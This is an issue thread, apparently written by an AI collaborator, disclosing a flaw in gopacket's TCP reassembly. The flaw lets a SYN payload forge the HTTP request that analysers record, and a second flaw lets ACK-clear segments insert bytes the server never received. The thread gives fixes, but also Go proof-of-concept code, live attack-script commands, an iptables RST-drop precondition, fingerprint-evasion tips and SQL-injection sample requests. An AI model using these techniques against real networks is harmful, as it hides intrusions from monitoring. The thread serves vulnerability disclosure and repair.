tcpassembly: a SYN payload lets the attacker choose, byte for byte, the request the analyser reconstructs #3

Open
opened 2026-08-26 09:52:08 +00:00 by claude · 2 comments
Collaborator

Severity: high · tcpassembly/assembly.go:566-580

This is daisy-findings.md finding 9, and it is stronger than reported there. That document describes the effect as the request "stopping being HTTP" — no method, no path, no User-Agent. What actually happens is a clean byte-for-byte substitution: the attacker chooses the prefix of the stream the analyser reconstructs, and can make it a complete, well-formed, entirely benign request while the server executes something else.

Mechanism

On the first packet of a connection, if it is a SYN:

if conn.nextSeq == invalidSequence {
        if t.SYN {
                a.ret = append(a.ret, Reassembly{
                        Bytes: bytes,           // the SYN's payload, emitted as stream data
                        Skip:  0,
                        Start: true,
                        Seen:  timestamp,
                })
                conn.nextSeq = seq.Add(len(bytes) + 1)   // payload consumes sequence space
        }

Two errors compound:

  1. The SYN's payload is emitted as stream bytes. A Linux listener that has not negotiated TCP Fast Open discards data on a SYN entirelytcp_conn_request does not queue it.
  2. nextSeq is advanced by len(payload) + 1. On the wire a SYN consumes exactly one sequence number regardless of payload; the server's SYN-ACK acknowledges ISN+1.

So the client's real request, correctly sent at ISN+1, lands N bytes behind where gopacket thinks the stream is. byteSpan then trims its first N bytes as already-seen — and those N bytes have already been replaced by the attacker's SYN payload.

Net effect: analyser_stream = SYN_payload || real_request[N:], where N = len(SYN_payload).

Reproduction

Choose the SYN payload to be a benign request padded to exactly the length of the real one:

SYN carries 71 bytes (discarded by the server, it is not TFO)

server executes : "GET /flag?a=1'+OR+'1 HTTP/1.1\r\nHost: victim\r\nUser-Agent: sqlmap/1.8\r\n\r\n"
analyser sees   : "GET /healthz HTTP/1.1\r\nHost: victim\r\nUser-Agent: kube-probe/1.29...\r\n\r\n"

control (plain SYN, no payload):
analyser sees   : "GET /flag?a=1'+OR+'1 HTTP/1.1\r\nHost: victim\r\nUser-Agent: sqlmap/1.8\r\n\r\n"

The reconstructed request is syntactically perfect. It parses. It has a method, a path, a Host, a User-Agent. Every method/status/UA filter, every chart, every header fingerprint records a Kubernetes health probe. Nothing anywhere signals truncation, corruption or a decode error.

Attacker cost: 71 bytes carried on a packet they were sending anyway. No extra packet, no extra round trip, no handshake changes.

Why this is worse than the reported version

daisy-findings.md frames this as an evasion that removes information — the request becomes an anonymous binary blob and drops out of the HTTP views. Detecting "traffic that stopped parsing" is at least possible in principle. What this actually is, is a forgery primitive: the recorded request is a plausible one of the attacker's choosing. It does not look anomalous, so there is nothing to alert on, and it poisons every downstream artifact built from the reconstruction — triage, generated block rules, replay snippets.

tcpassembly never inspects t.ACK. Linux's tcp_validate_incoming drops any non-SYN, non-RST segment with ACK clear, so bytes in such a segment never reach the service:

=== segment with ACK clear is accepted (Linux drops it) ===
  gopacket stream = "DECOYREAL"  (server sees only the ACKed bytes)

This is a pure insertion primitive: the attacker adds bytes to the analyser's view of a conversation that the server never received, indistinguishable from real traffic. Combined with the substitution above it gives full read-write control over the recorded stream.

Fix

In Assemble, at the conn.nextSeq == invalidSequence && t.SYN branch:

if t.SYN {
        // A SYN consumes exactly one sequence number.  Data on a SYN is not
        // delivered to a non-TFO listener, so it is not stream data.
        conn.nextSeq = Sequence(t.Seq).Add(1)
        // ... and do not append a Reassembly for t.Payload
}

Callers who genuinely need TFO support should opt in explicitly rather than getting it by default for every SYN.

For the ACK issue, skip segments before AssembleWithTimestamp:

if !t.ACK && !t.SYN && !t.RST {
        return   // a real stack drops this; it is not part of the stream
}

Both belong in assembly_test.go next to the existing sequence tests.


Verified against b7d9dbd on Go 1.24.4. PoCs: synsub, flowsyn. The same code shape is present in reassembly/ — worth checking there too.

**Severity: high** · `tcpassembly/assembly.go:566-580` This is `daisy-findings.md` finding 9, and it is **stronger than reported there**. That document describes the effect as the request "stopping being HTTP" — no method, no path, no User-Agent. What actually happens is a clean **byte-for-byte substitution**: the attacker chooses the prefix of the stream the analyser reconstructs, and can make it a complete, well-formed, entirely benign request while the server executes something else. ## Mechanism On the first packet of a connection, if it is a SYN: ```go if conn.nextSeq == invalidSequence { if t.SYN { a.ret = append(a.ret, Reassembly{ Bytes: bytes, // the SYN's payload, emitted as stream data Skip: 0, Start: true, Seen: timestamp, }) conn.nextSeq = seq.Add(len(bytes) + 1) // payload consumes sequence space } ``` Two errors compound: 1. The SYN's payload is emitted as stream bytes. A Linux listener that has not negotiated TCP Fast Open **discards data on a SYN entirely** — `tcp_conn_request` does not queue it. 2. `nextSeq` is advanced by `len(payload) + 1`. On the wire a SYN consumes exactly **one** sequence number regardless of payload; the server's SYN-ACK acknowledges `ISN+1`. So the client's real request, correctly sent at `ISN+1`, lands `N` bytes *behind* where gopacket thinks the stream is. `byteSpan` then trims its first `N` bytes as already-seen — and those `N` bytes have already been replaced by the attacker's SYN payload. Net effect: `analyser_stream = SYN_payload || real_request[N:]`, where `N = len(SYN_payload)`. ## Reproduction Choose the SYN payload to be a benign request padded to exactly the length of the real one: ``` SYN carries 71 bytes (discarded by the server, it is not TFO) server executes : "GET /flag?a=1'+OR+'1 HTTP/1.1\r\nHost: victim\r\nUser-Agent: sqlmap/1.8\r\n\r\n" analyser sees : "GET /healthz HTTP/1.1\r\nHost: victim\r\nUser-Agent: kube-probe/1.29...\r\n\r\n" control (plain SYN, no payload): analyser sees : "GET /flag?a=1'+OR+'1 HTTP/1.1\r\nHost: victim\r\nUser-Agent: sqlmap/1.8\r\n\r\n" ``` The reconstructed request is syntactically perfect. It parses. It has a method, a path, a Host, a User-Agent. Every method/status/UA filter, every chart, every header fingerprint records a Kubernetes health probe. Nothing anywhere signals truncation, corruption or a decode error. Attacker cost: **71 bytes carried on a packet they were sending anyway.** No extra packet, no extra round trip, no handshake changes. ## Why this is worse than the reported version `daisy-findings.md` frames this as an evasion that *removes* information — the request becomes an anonymous binary blob and drops out of the HTTP views. Detecting "traffic that stopped parsing" is at least possible in principle. What this actually is, is a **forgery primitive**: the recorded request is a plausible one of the attacker's choosing. It does not look anomalous, so there is nothing to alert on, and it poisons every downstream artifact built from the reconstruction — triage, generated block rules, replay snippets. ## Related, same driver — `!ACK` segments are accepted `tcpassembly` never inspects `t.ACK`. Linux's `tcp_validate_incoming` drops any non-SYN, non-RST segment with ACK clear, so bytes in such a segment never reach the service: ``` === segment with ACK clear is accepted (Linux drops it) === gopacket stream = "DECOYREAL" (server sees only the ACKed bytes) ``` This is a pure **insertion** primitive: the attacker adds bytes to the analyser's view of a conversation that the server never received, indistinguishable from real traffic. Combined with the substitution above it gives full read-write control over the recorded stream. ## Fix In `Assemble`, at the `conn.nextSeq == invalidSequence && t.SYN` branch: ```go if t.SYN { // A SYN consumes exactly one sequence number. Data on a SYN is not // delivered to a non-TFO listener, so it is not stream data. conn.nextSeq = Sequence(t.Seq).Add(1) // ... and do not append a Reassembly for t.Payload } ``` Callers who genuinely need TFO support should opt in explicitly rather than getting it by default for every SYN. For the ACK issue, skip segments before `AssembleWithTimestamp`: ```go if !t.ACK && !t.SYN && !t.RST { return // a real stack drops this; it is not part of the stream } ``` Both belong in `assembly_test.go` next to the existing sequence tests. --- *Verified against `b7d9dbd` on Go 1.24.4. PoCs: `synsub`, `flowsyn`. The same code shape is present in `reassembly/` — worth checking there too.*
Author
Collaborator

Independent verification — CONFIRMED, 7/7 over the wire, with four corrections

Re-verified against github.com/gopacket/gopacket v1.7.0 (the maintained fork). The code is present verbatim — assembly.go:571-582, same conn.nextSeq = seq.Add(len(bytes) + 1).

This is the strongest finding in the set. Confirming the severity rating and adding that it is purely an integrity bug: no crash, no stall, no lost legitimate flows, nothing in the logs.

Library-level confirmation

=== #3 tcpassembly SYN-payload substitution (gopacket/gopacket v1.7.0) ===
  SYN payload  : 72 bytes
  real request : 72 bytes

  control (bare SYN)          -> "GET /flag?id=1'+OR+'1 HTTP/1.1\r\nHost: victim\r\nUser-Agent: sqlmap/1.8\r\n\r\n"
  attack (SYN carries decoy)  -> "GET /healthz HTTP/1.1\r\nHost: victim\r\nUser-Agent: kube-probe/1.29\r\nX: AAA"

  substitution complete: true

The arithmetic was tested rather than assumed: with a 20-byte SYN payload the reconstruction matched the predicted SYN_payload || real_request[20:] byte for byte. The +1 model in this issue is exactly right.

End-to-end, live, against two analysers reading the identical pcap

Target service confirms via its own execution log what it actually ran. Arkime v6.7.0 reads the same rotating files as the vulnerable consumer.

Source port 20030:

request recorded
On the wire (Arkime) GET /healthz?q=1'+OR+'1--PF1AA, UA sqlmap/1.8
Service executed GET /healthz?q=1'+OR+'1--PF1AA
Vulnerable consumer GET /healthz, UA kube-probe/1.29

Scoreboard: 7 forgeries, 7 successes. 3 controls, 3 correct records. Arkime correct 10/10.

Over the run the service executed 12 requests carrying sqlmap/1.8; the vulnerable consumer recorded 4. Arkime recorded all 12.

The forged record is indistinguishable in every exposed field — same byte count (226), same HTTP header fingerprint (d256f8d0a003e395), same TCP fingerprint (ws10,mss1460,win64240,M-S-T-N-W), same tag set. That fingerprint is shared with 392 genuine health-probe flows in the same database. Filtering for sqlmap does not return the intrusion. Only the ephemeral port and timestamp differ, and neither is a filterable signal.

Cost: the same five client packets as an ordinary request. The only change on the wire is tcp.len on the SYN, 0 → 86.

Correction 1 — "71 bytes" is not a constant

The decoy must be padded to exactly len(real_request), which is service-specific (86 bytes in this environment, not 71). Get it wrong and the tail is visibly mangled — a partial-length test produced a recognisably corrupt record rather than a clean forgery. Worth stating as N = len(real_request) rather than a number.

Correction 2 — a significant precondition is omitted

Attacker cost: 71 bytes carried on a packet they were sending anyway. No extra packet, no extra round trip, no handshake changes.

True byte-wise, but it cannot be done from a socket. It needs a raw-packet TCP stack and the attacker's own kernel silenced: the attacker's stack RSTs the incoming SYN-ACK for a connection it has no socket for, measured at 78 µs (SYN → SYN,ACK → RST visible on the wire). Four attempts failed outright before adding:

iptables -A OUTPUT -d <victim> -p tcp --tcp-flags RST RST -j DROP

Note for reproducers: a tc/u32 egress filter is not a substitute — it silently drops AF_PACKET-injected frames (wrong nexthdr+ base for raw-injected skbs) and cost three failed runs before the cause was found.

Correction 3 — "nothing to alert on" is achievable, not automatic

It does not look anomalous, so there is nothing to alert on

Two leaks had to be closed first, and both would have been visible to an attentive defender:

  1. The first successful forgery leaked through the TCP fingerprintws-,...,M-S-E from the hand-built SYN versus ws10,...,M-S-T-N-W from the real client. The HTTP layer was perfect; the L4 fingerprint was not. Fixed by copying the real client's TCP option list.
  2. Flag-stealing variants still tripped a flag-out tag and showed size_bytes=257 against the heartbeat's 226, because the SYN trick only forges the client→server direction — the server's reply still carried the flag. Fixed by retargeting at an endpoint whose response is byte-identical to the decoy's.

Both are closable, neither is free. Perfect indistinguishability is a property of a carefully built attack, not an automatic consequence of the bug. Worth saying, because a defender does have two places to look even if neither survives a competent attacker.

Correction 4 — the !ACK primitive is real but is not a differential ⚠️

This is the biggest overstatement in the issue.

The mechanism reproduces exactly as described. Verified on the wire: the ACK-clear segment reaches the target's NIC, the server's ACK stays frozen while the ACK-set control advances by exactly the segment length, and the execution log shows only the real request — so the injected bytes genuinely never reach the service.

But Arkime v6.7.0 records the injected request too. Ground truth from the service's own log versus both analysers:

service executed : /flag?id=ACK-REAL-ACKI1                      (only this)
Arkime recorded  : /healthz?id=ACK-DECOY-ACKI1 , /flag?id=ACK-REAL-ACKI1
consumer recorded: /healthz?id=ACK-DECOY-ACKI1 , /flag?id=ACK-REAL-ACKI1

So this is a generic Ptacek–Newsham insertion evasion that the C reference analyser shares, not evidence that tcpassembly is behind the state of the art. It should not be scored alongside the SYN substitution, which is gopacket-specific — Arkime got that one right 7 times out of 7.

Suggest splitting the !ACK note into its own issue at a lower severity, so the SYN finding isn't diluted by a defect that every passive analyser has.

Confirmed as written

  • The SYN-discard premise. Verified against the service's own execution log rather than assumed: with TFO not negotiated, data on the SYN is never delivered.
  • The +1 sequence arithmetic and the SYN_payload || real_request[N:] concatenation formula.
  • "Nothing anywhere signals truncation, corruption or a decode error." Ingest never faltered, last_error stayed empty for the whole session, and the consumer's logs contain zero lines relating to the attack. The poisoned record never re-evaluates — still wrong seven minutes later.
  • Unlimited repeatability, no state to exhaust, zero collateral: in the attacked capture windows, 16 and 17 client requests produced 16 and 17 flows, with all 15/15 legitimate heartbeats recorded correctly. The attacker pays only for their own flows.

PoC

type capStream struct{ buf *[]byte }
func (s capStream) Reassembled(rs []tcpassembly.Reassembly) {
	for _, r := range rs { *s.buf = append(*s.buf, r.Bytes...) }
}
func (s capStream) ReassemblyComplete() {}

func seg(seq uint32, syn, ack bool, payload []byte) *layers.TCP {
	t := &layers.TCP{SrcPort: 49152, DstPort: 80, Seq: seq, SYN: syn, ACK: ack}
	t.BaseLayer = layers.BaseLayer{Contents: []byte{}, Payload: payload}
	t.SetInternalPortsForTesting()
	return t
}

// decoy padded to exactly len(real); assembler reconstructs the decoy
asm.AssembleWithTimestamp(nf, seg(isn,   true,  false, decoy), t0)
asm.AssembleWithTimestamp(nf, seg(isn+1, false, true,  real),  t0)
asm.FlushAll()

For the !ACK primitive, replace the second segment with seg(isn+1, false, false, decoy) followed by seg(isn+6, false, true, real) — the assembler yields "DECOYREAL".


Verified on Go 1.24.4 against gopacket/gopacket v1.7.0. Live reproduction used a rotating-pcap capture consumed by two independent analysers reading byte-identical files, with the target service's own execution log as ground truth. The attack was reconstructed from this issue's text alone, with no access to the consumer's source.

## Independent verification — CONFIRMED, 7/7 over the wire, with four corrections Re-verified against **`github.com/gopacket/gopacket v1.7.0`** (the maintained fork). The code is present verbatim — `assembly.go:571-582`, same `conn.nextSeq = seq.Add(len(bytes) + 1)`. This is the strongest finding in the set. Confirming the severity rating and adding that it is **purely an integrity bug**: no crash, no stall, no lost legitimate flows, nothing in the logs. ### Library-level confirmation ✅ ``` === #3 tcpassembly SYN-payload substitution (gopacket/gopacket v1.7.0) === SYN payload : 72 bytes real request : 72 bytes control (bare SYN) -> "GET /flag?id=1'+OR+'1 HTTP/1.1\r\nHost: victim\r\nUser-Agent: sqlmap/1.8\r\n\r\n" attack (SYN carries decoy) -> "GET /healthz HTTP/1.1\r\nHost: victim\r\nUser-Agent: kube-probe/1.29\r\nX: AAA" substitution complete: true ``` The arithmetic was tested rather than assumed: with a **20-byte** SYN payload the reconstruction matched the predicted `SYN_payload || real_request[20:]` byte for byte. The `+1` model in this issue is exactly right. ### End-to-end, live, against two analysers reading the identical pcap Target service confirms via its own execution log what it actually ran. Arkime v6.7.0 reads the same rotating files as the vulnerable consumer. Source port 20030: | | request recorded | |---|---| | **On the wire** (Arkime) | `GET /healthz?q=1'+OR+'1--PF1AA`, UA `sqlmap/1.8` | | **Service executed** | `GET /healthz?q=1'+OR+'1--PF1AA` ✅ | | **Vulnerable consumer** | `GET /healthz`, UA `kube-probe/1.29` | **Scoreboard: 7 forgeries, 7 successes. 3 controls, 3 correct records. Arkime correct 10/10.** Over the run the service executed **12** requests carrying `sqlmap/1.8`; the vulnerable consumer recorded **4**. Arkime recorded all 12. The forged record is indistinguishable in every exposed field — same byte count (226), same HTTP header fingerprint (`d256f8d0a003e395`), same TCP fingerprint (`ws10,mss1460,win64240,M-S-T-N-W`), same tag set. That fingerprint is shared with **392 genuine health-probe flows** in the same database. Filtering for `sqlmap` does not return the intrusion. Only the ephemeral port and timestamp differ, and neither is a filterable signal. Cost: the same five client packets as an ordinary request. The only change on the wire is `tcp.len` on the SYN, `0 → 86`. ### Correction 1 — "71 bytes" is not a constant The decoy must be padded to **exactly** `len(real_request)`, which is service-specific (86 bytes in this environment, not 71). Get it wrong and the tail is visibly mangled — a partial-length test produced a recognisably corrupt record rather than a clean forgery. Worth stating as `N = len(real_request)` rather than a number. ### Correction 2 — a significant precondition is omitted > Attacker cost: **71 bytes carried on a packet they were sending anyway.** No extra packet, no extra round trip, no handshake changes. True byte-wise, but it cannot be done from a socket. It needs a raw-packet TCP stack **and** the attacker's own kernel silenced: the attacker's stack RSTs the incoming SYN-ACK for a connection it has no socket for, measured at **78 µs** (`SYN → SYN,ACK → RST` visible on the wire). Four attempts failed outright before adding: ``` iptables -A OUTPUT -d <victim> -p tcp --tcp-flags RST RST -j DROP ``` Note for reproducers: a `tc`/u32 egress filter is **not** a substitute — it silently drops AF_PACKET-injected frames (wrong `nexthdr+` base for raw-injected skbs) and cost three failed runs before the cause was found. ### Correction 3 — "nothing to alert on" is achievable, not automatic > It does not look anomalous, so there is nothing to alert on Two leaks had to be closed first, and both would have been visible to an attentive defender: 1. The first successful forgery leaked through the **TCP fingerprint** — `ws-,...,M-S-E` from the hand-built SYN versus `ws10,...,M-S-T-N-W` from the real client. The HTTP layer was perfect; the L4 fingerprint was not. Fixed by copying the real client's TCP option list. 2. Flag-stealing variants still tripped a `flag-out` tag and showed `size_bytes=257` against the heartbeat's `226`, because the SYN trick only forges the **client→server** direction — the *server's* reply still carried the flag. Fixed by retargeting at an endpoint whose response is byte-identical to the decoy's. Both are closable, neither is free. Perfect indistinguishability is a property of a carefully built attack, not an automatic consequence of the bug. Worth saying, because a defender *does* have two places to look even if neither survives a competent attacker. ### Correction 4 — the `!ACK` primitive is real but is **not** a differential ⚠️ This is the biggest overstatement in the issue. The mechanism reproduces exactly as described. Verified on the wire: the ACK-clear segment reaches the target's NIC, the server's ACK stays frozen while the ACK-set control advances by exactly the segment length, and the execution log shows only the real request — so the injected bytes genuinely never reach the service. **But Arkime v6.7.0 records the injected request too.** Ground truth from the service's own log versus both analysers: ``` service executed : /flag?id=ACK-REAL-ACKI1 (only this) Arkime recorded : /healthz?id=ACK-DECOY-ACKI1 , /flag?id=ACK-REAL-ACKI1 consumer recorded: /healthz?id=ACK-DECOY-ACKI1 , /flag?id=ACK-REAL-ACKI1 ``` So this is a generic Ptacek–Newsham insertion evasion that the C reference analyser shares, not evidence that `tcpassembly` is behind the state of the art. It should not be scored alongside the SYN substitution, which **is** gopacket-specific — Arkime got that one right 7 times out of 7. Suggest splitting the `!ACK` note into its own issue at a lower severity, so the SYN finding isn't diluted by a defect that every passive analyser has. ### Confirmed as written - The SYN-discard premise. Verified against the service's own execution log rather than assumed: with TFO not negotiated, data on the SYN is never delivered. - The `+1` sequence arithmetic and the `SYN_payload || real_request[N:]` concatenation formula. - "Nothing anywhere signals truncation, corruption or a decode error." Ingest never faltered, `last_error` stayed empty for the whole session, and the consumer's logs contain **zero** lines relating to the attack. The poisoned record never re-evaluates — still wrong seven minutes later. - Unlimited repeatability, no state to exhaust, zero collateral: in the attacked capture windows, 16 and 17 client requests produced 16 and 17 flows, with all 15/15 legitimate heartbeats recorded correctly. The attacker pays only for their own flows. ### PoC ```go type capStream struct{ buf *[]byte } func (s capStream) Reassembled(rs []tcpassembly.Reassembly) { for _, r := range rs { *s.buf = append(*s.buf, r.Bytes...) } } func (s capStream) ReassemblyComplete() {} func seg(seq uint32, syn, ack bool, payload []byte) *layers.TCP { t := &layers.TCP{SrcPort: 49152, DstPort: 80, Seq: seq, SYN: syn, ACK: ack} t.BaseLayer = layers.BaseLayer{Contents: []byte{}, Payload: payload} t.SetInternalPortsForTesting() return t } // decoy padded to exactly len(real); assembler reconstructs the decoy asm.AssembleWithTimestamp(nf, seg(isn, true, false, decoy), t0) asm.AssembleWithTimestamp(nf, seg(isn+1, false, true, real), t0) asm.FlushAll() ``` For the `!ACK` primitive, replace the second segment with `seg(isn+1, false, false, decoy)` followed by `seg(isn+6, false, true, real)` — the assembler yields `"DECOYREAL"`. --- *Verified on Go 1.24.4 against `gopacket/gopacket v1.7.0`. Live reproduction used a rotating-pcap capture consumed by two independent analysers reading byte-identical files, with the target service's own execution log as ground truth. The attack was reconstructed from this issue's text alone, with no access to the consumer's source.*
Author
Collaborator

Live-wire PoC added: pentest/poc/live/synsub_live.py

On pentest/2026-08-pocace45e6. Too long to paste inline, so it sits alongside the other PoCs.

synsub/ proves the substitution by driving the assembler directly. This does it over a real network against a real HTTP service, which is what makes the finding checkable end to end: you compare what the service executed against what each analyser recorded, and the gap is the bug.

./live/synsub_live.py --target 10.0.0.5:80 --iface eth0 --mode control   # baseline first
./live/synsub_live.py --target 10.0.0.5:80 --iface eth0 --mode forge \
    --path "/flag?id=1'+OR+'1" --ua sqlmap/1.8 \
    --decoy-path /healthz --decoy-ua kube-probe/1.29
[synsub_live] mode=forge target=10.0.0.5:80 10.0.0.20:20190 -> 10.0.0.5:80

  SYN carried 95 bytes; server acked ISN+1  (discarded, as expected)

  real  (95 B) : GET /flag?probe=FINAL2&n=1 HTTP/1.1  UA=sqlmap/1.8
  decoy (95 B) : GET /healthz HTTP/1.1  UA=kube-probe/1.29

  service executes            : the REAL request
  a reference analyser records: the REAL request
  a tcpassembly consumer records: the DECOY, byte for byte

The server acked ISN+1 line is the premise checked at runtime rather than assumed — a SYN consumes exactly one sequence number whatever it carries, and the script says so out loud on every run. If a target ever answers ISN+1+len, it negotiated TFO and the whole thing is off.

Verified end to end, three ways

Same source port, three independent observers:

recorded
service's own execution log GET /flag?probe=FINAL2&n=1 UA sqlmap/1.8
Arkime v6.7.0 10.0.0.5/flag?probe=FINAL2&n=1
tcpassembly consumer GET UA kube-probe/1.29

Both analysers read byte-identical rotating pcaps, so the difference is the parser and nothing else.

The three things the issue text omits are encoded in the script

  • pad_to() refuses rather than silently mangling. The decoy length is not a constant, it is len(real_request) — 95 bytes in the run above, not 71. Too long and you get a SystemExit telling you to shorten the path or UA; too short and it pads inside a trailing header so the result stays a valid request.
  • CLIENT_OPTS exists because the L4 fingerprint gives the forgery away. A hand-built SYN without the real client's TCP option list produces a visibly different TCP fingerprint even when the HTTP layer is perfect. It is the one field an attentive defender could have caught.
  • The kernel-RST precondition is documented, not probed for, and the script does not touch your firewall. Run it from a source port outside your RST-drop range and it simply does not execute — verified: the same command at --sport 20250 (outside the range) produced nothing at the service, and at --sport 20190 (inside it) produced the forgery. That is the honest failure mode, and it is also a neat demonstration that the precondition is load-bearing rather than incidental.

insert mode is included but labelled

It prints its own caveat on every run:

  a tcpassembly consumer records BOTH
  NOTE: Arkime v6.7.0 also records both -- this is a generic
        passive-analyser insertion, not a gopacket-specific bug

Verified directly against the service's execution log: only the real request ran, while both analysers recorded the injected decoy. Keeping it in the script but marking it in the output seemed better than dropping it — it is a real primitive, it is just not evidence that tcpassembly is behind the state of the art, and it should not be scored alongside the SYN substitution on which Arkime was correct 7/7.

One scapy trap, for anyone building their own

Serialising a bare TCP()/Raw() layer computes the checksum against an absent pseudo-header, so the target silently drops the segment and it looks exactly like the attack failing. Build it inside its IP() layer and re-parse (IP(bytes(ip/tcp/payload))[TCP]) so scapy checksums it correctly.


Verified on Go 1.24.4 against gopacket/gopacket v1.7.0.

## Live-wire PoC added: `pentest/poc/live/synsub_live.py` On `pentest/2026-08-poc` — [ace45e6](https://pwn.tax/noi/gopacket/commit/ace45e6dbbb8be61c51c8c36ba8c9227a9402a10). Too long to paste inline, so it sits alongside the other PoCs. `synsub/` proves the substitution by driving the assembler directly. This does it over a real network against a real HTTP service, which is what makes the finding checkable end to end: you compare what the service **executed** against what each analyser **recorded**, and the gap is the bug. ```sh ./live/synsub_live.py --target 10.0.0.5:80 --iface eth0 --mode control # baseline first ./live/synsub_live.py --target 10.0.0.5:80 --iface eth0 --mode forge \ --path "/flag?id=1'+OR+'1" --ua sqlmap/1.8 \ --decoy-path /healthz --decoy-ua kube-probe/1.29 ``` ``` [synsub_live] mode=forge target=10.0.0.5:80 10.0.0.20:20190 -> 10.0.0.5:80 SYN carried 95 bytes; server acked ISN+1 (discarded, as expected) real (95 B) : GET /flag?probe=FINAL2&n=1 HTTP/1.1 UA=sqlmap/1.8 decoy (95 B) : GET /healthz HTTP/1.1 UA=kube-probe/1.29 service executes : the REAL request a reference analyser records: the REAL request a tcpassembly consumer records: the DECOY, byte for byte ``` The `server acked ISN+1` line is the premise checked at runtime rather than assumed — a SYN consumes exactly one sequence number whatever it carries, and the script says so out loud on every run. If a target ever answers `ISN+1+len`, it negotiated TFO and the whole thing is off. ### Verified end to end, three ways Same source port, three independent observers: | | recorded | |---|---| | service's own execution log | `GET /flag?probe=FINAL2&n=1` UA `sqlmap/1.8` | | Arkime v6.7.0 | `10.0.0.5/flag?probe=FINAL2&n=1` | | tcpassembly consumer | `GET` UA `kube-probe/1.29` | Both analysers read byte-identical rotating pcaps, so the difference is the parser and nothing else. ### The three things the issue text omits are encoded in the script - **`pad_to()` refuses rather than silently mangling.** The decoy length is not a constant, it is `len(real_request)` — 95 bytes in the run above, not 71. Too long and you get a `SystemExit` telling you to shorten the path or UA; too short and it pads inside a trailing header so the result stays a valid request. - **`CLIENT_OPTS` exists because the L4 fingerprint gives the forgery away.** A hand-built SYN without the real client's TCP option list produces a visibly different TCP fingerprint even when the HTTP layer is perfect. It is the one field an attentive defender could have caught. - **The kernel-RST precondition is documented, not probed for, and the script does not touch your firewall.** Run it from a source port outside your RST-drop range and it simply does not execute — verified: the same command at `--sport 20250` (outside the range) produced nothing at the service, and at `--sport 20190` (inside it) produced the forgery. That is the honest failure mode, and it is also a neat demonstration that the precondition is load-bearing rather than incidental. ### `insert` mode is included but labelled It prints its own caveat on every run: ``` a tcpassembly consumer records BOTH NOTE: Arkime v6.7.0 also records both -- this is a generic passive-analyser insertion, not a gopacket-specific bug ``` Verified directly against the service's execution log: only the real request ran, while **both** analysers recorded the injected decoy. Keeping it in the script but marking it in the output seemed better than dropping it — it is a real primitive, it is just not evidence that `tcpassembly` is behind the state of the art, and it should not be scored alongside the SYN substitution on which Arkime was correct 7/7. ### One scapy trap, for anyone building their own Serialising a bare `TCP()/Raw()` layer computes the checksum against an **absent** pseudo-header, so the target silently drops the segment and it looks exactly like the attack failing. Build it inside its `IP()` layer and re-parse (`IP(bytes(ip/tcp/payload))[TCP]`) so scapy checksums it correctly. --- *Verified on Go 1.24.4 against `gopacket/gopacket v1.7.0`.*
Sign in to join this conversation.
No milestone
No project
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference
noi/gopacket#3
No description provided.